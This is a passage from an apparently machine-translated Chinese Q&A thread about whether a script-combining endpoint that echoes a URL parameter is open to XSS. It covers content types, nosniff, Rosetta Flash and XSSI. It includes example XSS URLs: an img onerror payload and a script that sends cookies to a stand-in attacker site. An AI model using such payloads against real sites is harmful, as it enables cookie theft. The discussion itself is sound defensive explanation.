一般来说，不，这不是跨站脚本 (XSS) 问题。

你可能会遇到三个问题：

1. 如果攻击者控制了输出的第一个字节，则无论页面的内容类型如何，Rosetta Flash 攻击都可用于触发跨站脚本 (XSS)。但是，如果您/*像您说的那样使用 开始输出，我看不出有任何风险；
2. 过时的浏览器（例如：IE 7）存在内容嗅探问题，因此即使您将页面的内容类型设置为text/javascript，攻击者也可以欺骗浏览器将您的页面作为 HTML 执行。如今，这种类型的攻击非常罕见。使用以下标头变得更安全；

X-Content-Type-Options: nosniff

3. 如果您的 javascript 中有基于经过身份验证的会话的敏感信息，那么您还有其他漏洞，称为跨站点脚本包含 (XSSI)。

重要更新：

我假设您正在使用Content-Type: text/javascript.

如果你正在使用的服务页面Content-Type: text/html，你是不是编码<和>，你完全易受XSS。

例子：

http://example.com/CombinedScripts?file=<img src=x onerror=alert(9)>

像这样的链接http://example.com/CombinedScripts?file=<script>send(cookie.getData,attackersProxySite);</script>呢？

您是否正确编码传入的 html 字符？

编辑：由于这似乎允许攻击者将任何 javascript 从您的网站发送到他们的网页，我认为这将允许他们访问他们不应该访问的数据。但似乎我弄错了，同源保护是基于 javascript 所在的 html 页面的来源，而不是 javascript 文件。因此，您的漏洞在于他们是否可以设法返回整个网页。

取决于您是否在 js 文件上正确提供内容类型。text/html使用content-type提供 js 文件是一种常见的错误配置。这不会破坏包含 js 文件的页面，但如果直接在地址栏中输入 url，它将导致现代浏览器将文件呈现为 html。

诈骗者可以通过电子邮件向目标发送虚假网址，希望他们点击看似安全的网址。但是，如果 js 文件以 html 格式提供并呈现，那么它们可以在客户端上执行任意 js 代码，并可能泄露 cookie 或该页面可用的任何其他机密信息。更糟糕的是，他们甚至可以利用客户端浏览器中可能存在的任何零日漏洞。

在实践中，我会说更改该机制，使其不依赖于 url 输入，或者至少它应该执行输入验证检查并在无法识别的输入上输出错误。但是从理论上讲，如果您确保将内容类型服务为text/javascript